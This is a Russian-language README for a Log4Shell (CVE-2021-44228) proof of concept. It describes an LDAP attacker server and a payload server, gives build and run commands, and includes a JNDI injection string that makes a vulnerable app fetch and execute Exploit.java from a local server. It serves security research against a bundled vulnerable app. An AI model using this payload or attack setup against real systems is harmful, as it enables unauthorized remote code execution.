
PoC удаленного выполнения кода для Log4Shell (CVE-2021-44228)
Этот репозиторий позволяет исследователям безопасности экспериментировать с удаленным выполнением кода, предоставляя реализацию сервера атаки, который загружает пользовательский эксплойт на уязвимое приложение, содержащее log4j.
⚠️ Инструмент предназначен для самооценки и должен использоваться только уполномоченными лицами или исследователями. Вы должны тестировать только те системы, на которые имеете явное разрешение или полномочия. Если вы обнаружите уязвимые приложения или библиотеки, следует соблюдать ответственное раскрытие.
CVE-2021-44228 работает путем внедрения строки JNDI LDAP в журналы, что заставляет Log4j обратиться к указанному LDAP серверу для поиска дополнительной информации. В вредоносном сценарии LDAP сервер может затем передать код обратно на машину жертвы, который будет автоматически выполнен в памяти.
Репозиторий содержит два подпроекта. Проект attacker-server содержит исходный код двух многопоточных серверов. Первый — это LDAP прокси, который принимает начальный запрос на LDAP объект. Второй сервер — это сервер нагрузки, который передает эксплойт (находящийся в Exploit.java) обратно уязвимому приложению.
В корне проекта:
mvn clean install
Сервер и уязвимое приложение должны быть готовы.
Для запуска сервера выполните:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
Для запуска RCE выполните:
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
Вы можете изменить вредоносную нагрузку по необходимости, расширив Exploit.java.